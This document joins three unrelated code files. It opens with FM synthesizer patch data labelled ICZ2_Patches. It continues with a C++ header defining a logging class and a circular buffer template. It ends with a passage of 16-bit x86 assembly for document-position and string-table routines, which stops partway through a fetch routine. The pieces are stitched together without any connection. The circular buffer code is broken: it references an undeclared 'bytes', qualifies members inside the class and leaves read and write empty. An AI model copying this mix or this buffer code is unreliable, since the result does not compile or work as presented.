ICZ2_Patches:
; Patch $00
; $3D
; $01, $00, $04, $02, $1F, $1F, $1F, $1F
; $10, $06, $06, $06, $01, $06, $06, $06
; $35, $1A, $18, $1A, $12, $82, $82, $80
spAlgorithm $05
spFeedback $07
spDetune $00, $00, $00, $00
spMultiple $01, $04, $00, $02
spRateScale $00, $00, $00, $00
spAttackRt $1F, $1F, $1F, $1F
spAmpMod $00, $00, $00, $00
spSustainRt $10, $06, $06, $06
spSustainLv $03, $01, $01, $01
spDecayRt $01, $06, $06, $06
spReleaseRt $05, $08, $0A, $0A
spTotalLv $12, $02, $02, $00
; Patch $01
; $3A
; $01, $02, $01, $01, $1F, $5F, $5F, $5F
; $10, $11, $09, $09, $07, $00, $00, $00
; $CF, $FF, $FF, $FF, $1C, $22, $18, $80
spAlgorithm $02
spFeedback $07
spDetune $00, $00, $00, $00
spMultiple $01, $01, $02, $01
spRateScale $00, $01, $01, $01
spAttackRt $1F, $1F, $1F, $1F
spAmpMod $00, $00, $00, $00
spSustainRt $10, $09, $11, $09
spSustainLv $0C, $0F, $0F, $0F
spDecayRt $07, $00, $00, $00
spReleaseRt $0F, $0F, $0F, $0F
spTotalLv $1C, $18, $22, $00
; Patch $02
; $3D
; $01, $02, $02, $03, $94, $19, $19, $19
; $0F, $0D, $0D, $0D, $07, $04, $04, $04
; $25, $1A, $1A, $1A, $15, $80, $80, $80
spAlgorithm $05
spFeedback $07
spDetune $00, $00, $00, $00
spMultiple $01, $02, $02, $03
spRateScale $02, $00, $00, $00
spAttackRt $14, $19, $19, $19
spAmpMod $00, $00, $00, $00
spSustainRt $0F, $0D, $0D, $0D
spSustainLv $02, $01, $01, $01
spDecayRt $07, $04, $04, $04
spReleaseRt $05, $0A, $0A, $0A
spTotalLv $15, $00, $00, $00
|
/** VD */
#pragma once
#include <cstdio>
#include <cstdint>
#include <string>
#include <queue>
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include <deque>
#include <iomanip>
#include <memory>
#include <QString>
#ifdef Q_OS_WIN32
#
# include <windows.h>
#
#endif
#ifdef _MSC_VER
# if _MSC_VER >= 1600 // Younger or equal than MSVS 10
# include <functional>
# // MSVS 10 doesn't support a few features of C++11, but we try to avoid them
# define VD_CPP11
# endif
#endif//#ifdef _MSC_VER
#ifndef NDEBUG
# pragma comment(linker, "/SUBSYSTEM:CONSOLE")
#endif
#ifndef VD_CPP11 // For cpp11 compilers
// Now all compilers are C++11-compatible
# define VD_CPP11
#endif
#ifdef VD_CPP11
# define VD_OVERRIDE override
#else
# define VD_OVERRIDE
#endif
#ifdef _MSC_VER
# define VD_INLINE __forceinline
#endif
#ifndef VD_INLINE
# define VD_INLINE inline
#endif
#define VD_CAT(a, b) a##b
#define VD_ASSERT3(expr, msg, ret) { if (!(expr)) { vd::Logger::i().wh(vd::Logger::M_ERROR); vd::Logger::i().wc() << msg << " "; vd::Logger::i().wp(__FILE__, __LINE__) << std::endl; ret; } }
#define VD_ASSERT2(expr, msg) { if (!(expr)) { vd::Logger::i().wh(vd::Logger::M_ERROR); vd::Logger::i().wc() << msg << " "; vd::Logger::i().wp(__FILE__, __LINE__) << std::endl; } }
#define VD_ERR2(msg, ret) { vd::Logger::i().wh(vd::Logger::M_ERROR); vd::Logger::i().wc() << msg << " "; vd::Logger::i().wp(__FILE__, __LINE__) << std::endl; ret; }
#define VD_ERR(msg) { vd::Logger::i().wh(vd::Logger::M_ERROR); vd::Logger::i().wc() << msg << " "; vd::Logger::i().wp(__FILE__, __LINE__) << std::endl; }
#define VD_LOG(msg) { vd::Logger::i().wh(vd::Logger::M_DEFAULT); vd::Logger::i().wc() << msg << " "; vd::Logger::i().wp(__FILE__, __LINE__) << std::endl; }
#define VD_LOG_SCOPE_IDENT() vd::LogIdent vd_log_scope_inst;
#include <vd/fun.hpp>
#include <vd/fwd.hpp>
namespace vd
{
struct FrameMark
{
public:
uint64_t frame;
};
class Logger
{
public:
Logger();
~Logger();
enum Message
{
M_DEFAULT,
M_ERROR,
M_WARNING
};
static Logger& i();
void write_header(Message msg);
void wh(Message msg = M_DEFAULT) { write_header(msg); }
std::ostream& write_content();
std::ostream& wc() { return write_content(); }
std::ostream& write_line();
std::ostream& wl() { return write_line(); }
std::ostream& wp(const char* file, int line);
int inc_indent();
int dec_indent();
protected:
static Logger* _instance;
std::ofstream _log;
int indent_;
};
class LogIdent
{
public:
LogIdent() { vd::Logger::i().inc_indent(); }
~LogIdent() { vd::Logger::i().dec_indent(); }
};
std::ostream& operator << (std::ostream& out, const QString& str);
template <typename T>
class CircularBuffer
{
public:
CircularBuffer::CircularBuffer(size_t elems)
: buf_(new T[bytes]),
last_(buf_ + bytes),
start_(buf_),
end_(buf_)
{
}
void CircularBuffer::write(T* ptr, size_t elems)
{
}
void CircularBuffer::read(T* ptr, size_t elems) const
{
}
bool CircularBuffer::has(size_t elems) const
{
if (end_ >= start_)
return end_ - start_ >= bytes;
else
return (last_ - buf_) - (start_ - end_) >= bytes;
}
protected:
T* CircularBuffer::index(T* ptr)
{
if (ptr > last_)
{
T* c = start_ + (ptrdiff_t )(ptr - last_);
VD_ASSERT2(c < last_, "Bad request");
return c;
}
return ptr;
}
protected:
T* buf_;
T* last_;
T* start_;
T* end_;
};
template <typename T>
class CircularBufferLink
{
protected:
std::shared_ptr<CircularBuffer<T> > buf_;
};
typedef CircularBuffer<u8> AudioBuffer;
typedef std::shared_ptr<AudioBuffer> AudioBufferPtr;
}
|
include w2.inc
include noxport.inc
include consts.inc
include structs.inc
createSeg res_PCODE,resn2,byte,public,CODE
; DEBUGGING DECLARATIONS
ifdef DEBUG
midResn2 equ 32 ; module ID, for native asserts
endif ;/* DEBUG */
; EXPORTED LABELS
; EXTERNAL FUNCTIONS
externNP <LN_LpFromPossibleHq>
externNP <LN_LrgbstFromSttb>
externNP <LN_StackAdjust>
ifdef DEBUG
externFP <AssertProcForNative>
externFP <FCheckHandle>
externFP <S_PdrFetch>
externFP <S_FreePdrf>
externFP <S_PtOrigin>
endif ;/* DEBUG */
; EXTERNAL DATA
sBegin data
externW mpwwhwwd ; extern struct WWD **mpwwhwwd[];
externW mpmwhmwd ; extern struct MWD **mpmwhmwd[];
externW mpdochdod ; extern struct DOD **mpdochdod[];
externW vhwwdOrigin ; struct WWD **vhwwdOrigin;
externW vpdrfHead ; extern struct DRF *vpdrfHead;
externW vitr ; extern struct ITR vitr;
externW vfti ; extern struct FTI vfti;
ifdef DEBUG
externW vfCheckPlc ; extern BOOL vfCheckPlc;
externW vdbs ; extern struct DBS vdbs;
externW wFillBlock
externW vsccAbove
externW vpdrfHeadUnused
endif ;/* DEBUG */
sEnd data
; CODE SEGMENT res_PCODE
sBegin resn2
assumes cs,resn2
assumes ds,dgroup
assume es:nothing
assume ss:nothing
include asserth.asm
;-------------------------------------------------------------------------
; CpMac1Doc
;-------------------------------------------------------------------------
;/* C P M A C 1 D O C */
;native CP CpMac1Doc(doc)
;int doc;
;{
; struct DOD *pdod = PdodDoc(doc);
; return(pdod->cpMac - ccpEop );
;}
; %%Function:CpMac1Doc %%Owner:BRADV
PUBLIC CpMac1Doc
CpMac1Doc:
mov al,-ccpEop
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; CpMacDocEdit
;-------------------------------------------------------------------------
;/* C P M A C D O C E D I T*/
;native CP CpMacDocEdit(doc)
;int doc;
;{
; return(CpMacDoc(doc) - ccpEop);
;}
; %%Function:CpMacDocEdit %%Owner:BRADV
PUBLIC CpMacDocEdit
CpMacDocEdit:
mov al,-3*ccpEop
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; CpMac2Doc
;-------------------------------------------------------------------------
;/* C P M A C 2 D O C */
;native CP CpMac2Doc(doc)
;int doc;
;{
; return((*mpdochdod[doc])->cpMac);
;}
; %%Function:CpMac2Doc %%Owner:BRADV
PUBLIC CpMac2Doc
CpMac2Doc:
mov al,0
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; CpMacDoc
;-------------------------------------------------------------------------
;/* C P M A C D O C */
;native CP CpMacDoc(doc)
;int doc;
;{
; struct DOD *pdod = PdodDoc(doc);
; return(pdod->cpMac - 2*ccpEop );
;}
; %%Function:CpMacDoc %%Owner:BRADV
PUBLIC CpMacDoc
CpMacDoc:
mov al,-2*ccpEop
;-------------------------------------------------------------------------
; CpMacDocEngine
;-------------------------------------------------------------------------
; return ( PdodDoc(doc)->cpMac + al );
; where al and ah represent those register values upon entry.
; %%Function:CpMacDocEngine %%Owner:BRADV
PUBLIC CpMacDocEngine
CpMacDocEngine:
pop cx
pop dx ;far return address in dx:cx
pop bx
push dx
push cx
shl bx,1
mov bx,[bx.mpdochdod]
mov bx,[bx]
cbw
cwd
add ax,[bx.LO_cpMacDod]
adc dx,[bx.HI_cpMacDod]
; }
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PcaSet
;-------------------------------------------------------------------------
;/* P C A S E T */
;native struct CA *PcaSet(pca, doc, cpFirst, cpLim)
;struct CA *pca;
;int doc;
;CP cpFirst, cpLim;
;{
; pca->doc = doc;
; pca->cpFirst = cpFirst;
; pca->cpLim = cpLim;
; return(pca);
;}
; %%Function:PcaSet %%Owner:PcaSet
PUBLIC PcaSet
PcaSet:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 5
LN_PopCache:
pop [bx.LO_cpLimCa]
pop [bx.HI_cpLimCa]
pop [bx.LO_cpFirstCa]
pop [bx.HI_cpFirstCa]
pop [bx.docCa]
xchg ax,bx
pop di
pop si
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PcaSetDcp
;-------------------------------------------------------------------------
;/* P C A S E T D C P */
;native struct CA *PcaSetDcp(pca, doc, cpFirst, dcp)
;struct CA *pca;
;int doc;
;CP cpFirst, dcp;
;{
; pca->doc = doc;
; pca->cpFirst = cpFirst;
; pca->cpLim = cpFirst + dcp;
; return(pca);
;}
; %%Function:PcaSetDcp %%Owner:BRADV
PUBLIC PcaSetDcp
PcaSetDcp:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 5
pop ax ;low dcp
pop dx ;high dcp
pop si
pop di
add ax,si ;low cpFirst
adc dx,di ;high cpFirst
push di
push si
push dx
push ax
jmp short LN_PopCache
;-------------------------------------------------------------------------
; PcaSetWholeDoc
;-------------------------------------------------------------------------
;/* P C A S E T W H O L E D O C */
;native struct CA *PcaSetWholeDoc(pca, doc)
;struct CA *pca;
;int doc;
;{
; return PcaSet(pca, doc, cp0, CpMacDocEdit(doc));
;}
; %%Function:PcaSetWholeDoc %%Owner:BRADV
PUBLIC PcaSetWholeDoc
PcaSetWholeDoc:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 1
pop di ;doc
push bx ;save pca
push di
push cs
call CpMacDocEdit
pop bx ;restore pca
push di
xor cx,cx
push cx
push cx
push dx
push ax
jmp short LN_PopCache
;-------------------------------------------------------------------------
; PcaSetNil
;-------------------------------------------------------------------------
;/* P C A S E T N I L */
;native struct CA *PcaSetNil(pca)
;struct CA *pca;
;{
; return PcaSet(pca, docNil, cp0, cp0);
;}
; %%Function:PcaSetNil %%Owner:BRADV
PUBLIC PcaSetNil
PcaSetNil:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 0
xor cx,cx
errnz <docNil>
push cx
push cx
push cx
push cx
push cx
jmp short LN_PopCache
;-------------------------------------------------------------------------
; PcaPoint
;-------------------------------------------------------------------------
;/* P C A P O I N T */
;native struct CA *PcaPoint(pca, doc, cp)
;struct CA *pca;
;int doc;
;CP cp;
;{
; return PcaSet(pca, doc, cp, cp);
;}
; %%Function:PcaPoint %%Owner:BRADV
PUBLIC PcaPoint
PcaPoint:
;LN_StackAdjust is a helper routine to reduce the size of routines
;in resn.asm. It takes the number of words of arguments to
;the routine minus one in the byte following the call to LN_StackAdjust.
;It then moves the far return address and si and di to above the
;arguments, moves the top argument into bx, and puts the other arguments
;below the saved si and di. This allows the use of short pop register
;instructions to access arguments passed to the caller of LN_StackAdjust.
;ax, bx, cx, dx are altered.
call LN_StackAdjust
db 3
pop ax ;low cp
pop dx ;high cp
push dx
push ax
push dx
push ax
jmp short LN_PopCache
;-------------------------------------------------------------------------
; DcpCa
;-------------------------------------------------------------------------
;/* D C P C A */
;native CP DcpCa(pca)
;struct CA *pca;
;{
; return(pca->cpLim - pca->cpFirst);
;}
; %%Function:DcpCa %%Owner:BRADV
PUBLIC DcpCa
DcpCa:
pop cx
pop dx ;far return address in dx:cx
pop bx
push dx
push cx
mov ax,[bx.LO_cpLimCa]
mov dx,[bx.HI_cpLimCa]
sub ax,[bx.LO_cpFirstCa]
sbb dx,[bx.HI_cpFirstCa]
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PtOrigin
;-------------------------------------------------------------------------
;/* P T O R I G I N */
;/* this procedure finds the origin in outermost l space of the p's in a frame
;identified by hpldr,idr.
;If idr == -1, it finds the origin for l's in hpldr.
;The outermost containing hwwd is returned in vhwwdOrigin.
;
;It is useful to remember:
; l's are frame relative coordinates of objects in frames, e.g.
; positions of dr's
; p's are object relative coordinates of parts of objects, e.g.
; lines of text, or frames of text.
; DR's are objects which may contain text and frames
; PLDR's are frames which can contain objects.
;*/
;NATIVE struct PT PtOrigin(hpldr, idr)
;struct PLDR **hpldr; int idr;
;{
; struct PT pt;
; struct DR *pdr;
; struct DRF drfFetch;
; %%Function:N_PtOrigin %%Owner:BRADV
cProc N_PtOrigin,<PUBLIC,FAR>,<>
ParmW hpldr
ParmW idr
ifdef DEBUG
LocalW pdr
LocalV drfFetch,cbDrfMin
endif ;/* DEBUG */
cBegin
mov bx,[hpldr]
mov cx,[idr]
; pt.xp = pt.yp = 0;
xor ax,ax
cwd
; for (;;)
; {
PO01:
ifdef DEBUG
; AssertH(hpl) with a jump so as not to
; mess up short jumps.
jmp short PO06
PO02:
endif ;DEBUG
mov [vhwwdOrigin],bx
mov bx,[bx]
; if (idr != -1)
; {
cmp cx,-1
je PO04
; Debug (pdr = PdrFetch(hpldr, idr, &drfFetch));
;Do this with a call so as not to mess up short jumps
ifdef DEBUG
call PO07
endif ;DEBUG
; hpdr = HpInPl(hpldr, idr);
push di ;save caller's di
push dx ;save pt.yp
push ax ;save pt.xp
mov dx,[vhwwdOrigin]
;LN_LpInPl takes hplFoo in dx and iFoo in cx to
;return lpFoo in es:di. bx, cx and si are not altered.
call LN_LpInPl
pop ax ;restore pt.xp
pop dx ;restore pt.yp
; Assert (pdr->xl == hpdr->xl);
; Assert (pdr->yl == hpdr->yl);
; Debug (FreePdrf(&drfFetch));
;Do this debug stuff with a call so as not to mess up short jumps
ifdef DEBUG
call PO08
endif ;DEBUG
; pt.xp += pdr->xl;
; pt.yp += pdr->yl;
; }
add ax,es:[di.xlDr]
add dx,es:[di.ylDr]
pop di ;restore caller's di
PO04:
; if ((*hpldr)->hpldrBack == hNil)
; {
; vhwwdOrigin = hpldr;
; return pt;
; }
;Assembler note: we have already performed vhwwdOrigin = hpldr above.
cmp [bx.hpldrBackPldr],hNil
je PO05
; pt.xp += (*hpldr)->ptOrigin.xp;
add ax,[bx.ptOriginPldr.xpPt]
; pt.yp += (*hpldr)->ptOrigin.yp;
add dx,[bx.ptOriginPldr.ypPt]
; idr = (*hpldr)->idrBack;
; hpldr = (*hpldr)->hpldrBack;
mov cx,[bx.idrBackPldr]
mov bx,[bx.hpldrBackPldr]
; }
jmp short PO01
;}
PO05:
cEnd
;End of PtOrigin
ifdef DEBUG
PO06:
; AssertH(hpl);
push ax
push bx
push cx
push dx
mov ax,midResn2
mov cx,1000
cCall AssertHForNative,<bx, ax, cx>
pop dx
pop cx
pop bx
pop ax
jmp short PO02
endif ;/* DEBUG */
; Debug (pdr = PdrFetch(hpldr, idr, &drfFetch));
PO07:
ifdef DEBUG
push ax
push bx
push cx
push dx
lea ax,[drfFetch]
push [vhwwdOrigin]
push cx
push ax
call far ptr S_PdrFetch
mov [pdr],ax
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
; Assert (pdr->xl == hpdr->xl);
; Assert (pdr->yl == hpdr->yl);
; Debug (FreePdrf(&drfFetch));
ifdef DEBUG
PO08:
push ax
push bx
push cx
push dx
mov bx,[pdr]
mov ax,[bx.xlDr]
cmp ax,es:[di.xlDr]
je PO09
mov ax,midResn2
mov bx,1001 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PO09:
mov ax,[bx.ylDr]
cmp ax,es:[di.ylDr]
je PO10
mov ax,midResn2
mov bx,1002 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PO10:
lea ax,[drfFetch]
push ax
call far ptr S_FreePdrf
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
;-------------------------------------------------------------------------
; FcFromPn(pn)
;-------------------------------------------------------------------------
; /* F C F R O M P N */
; native FC FcFromPn(pn)
; PN pn;
; {
; return (((FC) pn) << shftSector);
; %%Function:FcFromPn %%Owner:BRADV
PUBLIC FcFromPn
FcFromPn:
pop bx
pop cx ; ret add in cx:bx
pop ax
push cx
push bx
xor dx,dx
errnz <shftSector - 9>
xchg ah,dl
xchg al,ah
shl ax,1
rcl dx,1
; }
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PnFromFc(fc)
;-------------------------------------------------------------------------
; /* P N F R O M F C */
; native PN PnFromFc(fc)
; FC fc;
; {
; return ((PN) (fc >> shftSector));
; %%Function:PnFromFc %%Owner:BRADV
PUBLIC PnFromFc
PnFromFc:
pop bx
pop cx ; ret add in cx:bx
pop ax
pop dx
push cx
push bx
; Assert(fc < fcMax);
ifdef DEBUG
push ax
push bx
push cx
push dx
sub ax,LO_fcMax
sbb dx,HI_fcMax
jl PFF01
mov ax,midResn2
mov cx,1034
cCall AssertHForNative,<bx, ax, cx>
PFF01:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
mov al,ah
mov ah,dl
errnz <shftSector - 9>
shr dh,1
rcr ax,1
; }
db 0CBh ;far ret
;-------------------------------------------------------------------------
; PstFromSttb(hsttb, i)
;-------------------------------------------------------------------------
; %%Function:PstFromSttb %%Owner:BRADV
ifdef DEBUG
PUBLIC PstFromSttb
PstFromSttb:
; Assert(!psttb->fExternal);
push ax
push bx
push cx
push dx
mov bx,sp
mov bx,[bx+14] ;/* hsttb */
mov bx,[bx]
test [bx.fExternalSttb],maskFExternalSttb
je PFS01
mov ax,midResn2
mov bx,1040 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PFS01:
pop dx
pop cx
pop bx
pop ax
jmp short HpstFromSttb
endif ;DEBUG
;-------------------------------------------------------------------------
; FStcpEntryIsNull(hsttb, stcp)
;-------------------------------------------------------------------------
;FStcpEntryIsNull(hsttb, stcp)
;struct STTB **hsttb;
;int stcp;
;{
; return(*(HpstFromSttb(hsttb, stcp)) == 255);
;}
; %%Function:FStcpEntryIsNull %%Owner:BRADV
PUBLIC FStcpEntryIsNull
FStcpEntryIsNull:
mov cx,1
db 03Dh ;turns next "xor cx,cx" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; HpstFromSttb(hsttb, i)
;-------------------------------------------------------------------------
;/* H P S T F R O M S T T B */
;/* Return huge pointer to string i in hsttb */
;NATIVE CHAR HUGE *HpstFromSttb(hsttb, i)
;struct STTB **hsttb;
;int i;
;{
; struct STTB *psttb = *hsttb;
; %%Function:HpstFromSttb %%Owner:BRADV
ifndef DEBUG
PUBLIC PstFromSttb
PstFromSttb:
endif ;!DEBUG
PUBLIC HpstFromSttb
HpstFromSttb:
xor cx,cx
HpstFromSttbCore:
pop ax
pop dx
mov bx,sp
xchg ax,[bx]
xchg dx,[bx+2]
mov bx,dx
; AssertH(hsttb);
; Assert(i < (*hsttb)->ibstMac);
ifdef DEBUG
inc bp
push bp
mov bp,sp ;set up bp chain for far call
push ds
push ax
push bx
push cx
push dx
push bx ;save hsttb
push ax ;save i
mov ax,midResn2
mov cx,1003
cCall AssertHForNative,<bx, ax, cx>
pop ax ;restore i
pop bx ;restore hsttb
mov bx,[bx]
cmp ax,[bx.ibstMacSttb]
jb HFS01
mov ax,midResn2
mov bx,1004 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
HFS01:
pop dx
pop cx
pop bx
pop ax
pop ds
pop bp
dec bp ;restore bp
push ds ;ds may now be a handle
push ss
pop ds ;restore valid ds
endif ;DEBUG
; if (!psttb->fExternal)
; return (CHAR HUGE *)((char *)(psttb->rgbst) + psttb->rgbst[i]);
; else
; {
; int HUGE *hprgbst = HpOfHq(psttb->hqrgbst);
; return (CHAR HUGE *)hprgbst + hprgbst[i];
; }
mov bx,[bx]
push di
;LN_LrgbstFromSttb takes psttb in bx and returns hrgbst in dx:di
;and lrgbst in es:di. Only dx, di, and es are altered.
call LN_LrgbstFromSttb
xchg ax,bx
shl bx,1
add di,es:[bx+di]
xchg ax,di
mov bl,[di.fStyleRulesSttb] ;needed by GetStFromSttbExit
pop di
ifdef DEBUG
pop ds ;restore segment handle
endif ;DEBUG
cmp cx,1
ja GetStFromSttbExit
jcxz HFS02
;This is actually the last part of FStcpEntryIsNull
xchg ax,bx
cmp bptr es:[bx],255
cmc
sbb ax,ax ;result is -1 if 255, 0 otherwise
HFS02:
;}
db 0CBh ;far ret
;-------------------------------------------------------------------------
; GetStFromSttb(hsttb, i, st)
;-------------------------------------------------------------------------
;/* G E T S T F R O M S T T B */
;/* Fetch the contents of i in hsttb into st. st must have sufficient
; space (up to cchMaxSt). */
;NATIVE GetStFromSttb(hsttb, i, st)
;struct STTB **hsttb;
;int i;
;CHAR *st;
;{
; CHAR HUGE *hpst = HpstFromSttb(hsttb, i);
; %%Function:GetStFromSttb %%Owner:BRADV
PUBLIC GetStFromSttb
GetStFromSttb:
pop ax
pop dx
pop cx ;st in cx
push dx
push ax
;does not alter cx, lpst returned in es:ax
jmp short HpstFromSttbCore
; if ((*hsttb)->fStyleRules && *hpst == 0xFF)
; st[0] = 0xFF; /* avoid GP-FAULTs */
; else
; bltbh(hpst, (CHAR HUGE *)st, *hpst+1);
;}
GetStFromSttbExit:
push si
push di
push ds ;save current ds (may now be a handle)
push es
pop ds
push ss
pop es
xchg ax,si
mov di,cx
mov cl,[si]
errnz <maskfStyleRulesSttb - 080h>
or bl,bl
jns GetStFromSttbStyleRules
cmp cl,0FFh
jne GetStFromSttbStyleRules
xor cl,cl
GetStFromSttbStyleRules:
xor ch,ch
inc cx
rep movsb
pop ds ;restore ds (possible a handle)
pop di
pop si
db 0CBh ;far ret
;-------------------------------------------------------------------------
; IbstFindSt(hsttb, st)
;-------------------------------------------------------------------------
;/* I B S T F I N D S T */
;EXPORT IbstFindSt(hsttb, st)
;struct STTB **hsttb;
;char *st;
;{
; struct STTB *psttb = *hsttb;
; int ibst;
; int cch = *st;
; CHAR HUGE *hpst2;
; %%Function:IbstFindSt %%Owner:BRADV
PUBLIC IbstFindSt
IbstFindSt:
pop ax
pop dx
pop cx
pop bx
push dx
push ax
; AssertH(hsttb);
; Assert(i < (*hsttb)->ibstMac);
ifdef DEBUG
inc bp
push bp
mov bp,sp ;set up bp chain for far call
push ds
push ax
push bx
push cx
push dx
mov ax,midResn2
mov cx,1005
cCall AssertHForNative,<bx, ax, cx>
pop dx
pop cx
pop bx
pop ax
pop ds
pop bp
dec bp ;restore bp
push ds ;ds may now be a handle
push ss
pop ds ;restore valid ds
endif ;DEBUG
mov bx,[bx]
mov ax,[bx.ibstMacSttb]
shl ax,1
push si
push di
;LN_LrgbstFromSttb takes psttb in bx and returns hrgbst in dx:di
;and lrgbst in es:di. Only dx, di, and es are altered.
call LN_LrgbstFromSttb
mov si,cx
mov cl,[si]
xor ch,ch
inc cx
xchg ax,dx
mov ax,-2
mov bx,ax
; for (ibst = 0; ibst < psttb->ibstMac; ibst++)
; {
; hpst2 = HpstFromSttb(hsttb, ibst);
; if (*hpst2 == cch && !FNeHprgch((CHAR HUGE *)st+1, hpst2+1,
; cch))
; return(ibst);
; }
; return(-1);
;}
IFS02:
inc bx
inc bx
cmp bx,dx
jae IFS03
push cx
push si
push di
add di,es:[bx+di]
repe cmpsb
pop di
pop si
pop cx
jne IFS02
xchg ax,bx
IFS03:
sar ax,1
pop di
pop si
ifdef DEBUG
pop ds ;restore segment handle
endif ;DEBUG
db 0CBh ;far ret
maskFreeAfterFetchLocal equ 001h
maskFreeBeforeFetchLocal equ 002h
;-------------------------------------------------------------------------
; PdrFetchAndFree(hpldr, idr, pdrf)
;-------------------------------------------------------------------------
;EXPORT struct DR *PdrFetchAndFree(hpldr, idr, pdrf)
;struct PLDR **hpldr;
;int idr;
;struct DRF *pdrf;
;{
; struct DR *pdr;
;
; pdr = PdrFetch(hpldr, idr, pdrf);
; FreePdrf(pdrf);
; return pdr;
;}
; %%Function:N_PdrFetchAndFree %%Owner:BRADV
PUBLIC N_PdrFetchAndFree
N_PdrFetchAndFree:
mov al,maskFreeAfterFetchLocal
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; PdrFreeAndFetch(hpldr, idr, pdrf)
;-------------------------------------------------------------------------
;EXPORT struct DR *PdrFreeAndFetch(hpldr, idr, pdrf)
;struct PLDR **hpldr;
;int idr;
;struct DRF *pdrf;
;{
;
; FreePdrf(pdrf);
; return PdrFetch(hpldr, idr, pdrf);
;}
; %%Function:N_PdrFreeAndFetch %%Owner:BRADV
PUBLIC N_PdrFreeAndFetch
N_PdrFreeAndFetch:
mov al,maskFreeBeforeFetchLocal
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;-------------------------------------------------------------------------
; PdrFetch(hpldr, idr, pdrf)
;-------------------------------------------------------------------------
;EXPORT struct DR *PdrFetch(hpldr, idr, pdrf)
;struct PLDR **hpldr;
;int idr;
;struct DRF *pdrf;
;{
; struct DRF *pdrfList;
; %%Function:N_PdrFetch %%Owner:BRADV
PUBLIC N_PdrFetch
N_PdrFetch:
mov al,0
cProc PdrFetchEngine,<PUBLIC,FAR>,<si, di>
ParmW hpldr
ParmW idr
ParmW pdrf
LocalW wFlags
cBegin
mov bx,[pdrf]
mov bptr ([wFlags]),al
test al,maskFreeBeforeFetchLocal
je PFE01
;LN_FreePdrf takes a pdrf in bx and performs FreePdrf(pdrf);
;bx is not altered.
call LN_FreePdrf
PFE01:
ifdef DEBUG
push ax
push bx
push cx
push dx
; Assert (hpldr != hNil);
cmp [hpldr],hNil
jne PFE02
mov ax,midResn2
mov bx,1007 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PFE02:
; Assert (idr < (*hpldr)->idrMac);
mov bx,[hpldr]
mov bx,[bx]
mov ax,[bx.idrMacPldr]
cmp [idr],ax
jb PFE03
mov ax,midResn2
mov bx,1008 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
PFE03:
;#ifdef DEBUG
; for (pdrfList = vpdrfHeadUnused;
; pdrfList != NULL; pdrfList = pdrfList->pdrfNext)
; {
; Assert (pdrfList->wLast == wLastDrf);
; Assert (pdrfList != pdrf);
; }
;#endif /* DEBUG */
mov bx,[vpdrfHeadUnused]
jmp short PFE06
PFE04:
cmp [bx.wLastDrf],0ABCDh
je PFE05
push bx ;save pdrfList
mov ax,midResn2
mov bx,1009 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
pop bx ;restore pdrfList
PFE05:
cmp bx,[pdrf]
jne PFE055
push bx ;save pdrfList
mov ax,midResn2
mov bx,1010 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
pop bx ;restore pdrfList
PFE055:
mov bx,[bx.pdrfNextDrf]
PFE06:
cmp bx,NULL
jne PFE04
; Debug (pdrf->wLast = wLastDrf);
mov bx,[pdrf]
mov [bx.wLastDrf],0ABCDh
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; pdrf->hpldr = hpldr;
mov dx,[hpldr]
mov [bx.hpldrDrf],dx
; pdrf->idr = idr;
mov cx,[idr]
mov [bx.idrDrf],cx
; for (pdrfList = vpdrfHead; pdrfList != NULL; pdrfList = pdrfList->pdrfNext)
; {
mov si,[vpdrfHead]
jmp short PFE09
PFE08:
mov si,[si.pdrfNextDrf]
PFE09:
errnz <NULL>
or si,si
je PFE10
; Assert (pdrfList->wLast == wLastDrf);
; Assert (pdrfList != pdrf);
;Do these asserts with a call so as not to mess up short jumps
ifdef DEBUG
call PFE14
endif ;DEBUG
; if (pdrfList->hpldr == hpldr && pdrfList->idr == idr)
; {
